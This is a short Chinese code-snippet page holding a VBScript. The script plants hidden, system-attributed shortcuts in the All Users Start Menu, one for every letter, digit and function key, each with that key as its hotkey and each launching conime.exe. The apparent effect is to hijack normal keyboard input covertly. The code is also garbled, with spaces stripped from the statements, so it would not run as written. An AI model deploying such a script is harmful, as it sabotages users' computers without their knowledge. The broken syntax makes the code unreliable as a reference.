复制代码 代码如下:

'codeBY伤脑筋www.ntbak.cn www.jb51.net

'copytofilename.vbs

dimnum,var,fso,wsh,pathname

num="A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,"+_

"V,W,X,Y,Z,0,1,2,3,4,5,6,7,8,9,F1,F2,F3,F4,F5,F6,"+_

"F7,F8,F9,F10,F11,F12"

var=Split(num,",",-1,1)

Setfso=CreateObject("Scripting.FileSystemObject")

setWsh=WScript.CreateObject("WScript.Shell")

pathname=Wsh.SpecialFolders("AllUsersStartMenu")+"程序附件辅助工具"

fori=0toUBound(var)

setLink=Wsh.CreateShortcut(pathname+var(i)+".lnk")

Link.TargetPath="conime.exe"

Link.Hotkey=var(i)

Link.Save

SetFile=fso.GetFile(pathname+var(i)+".lnk")

file.Attributes=2+4

next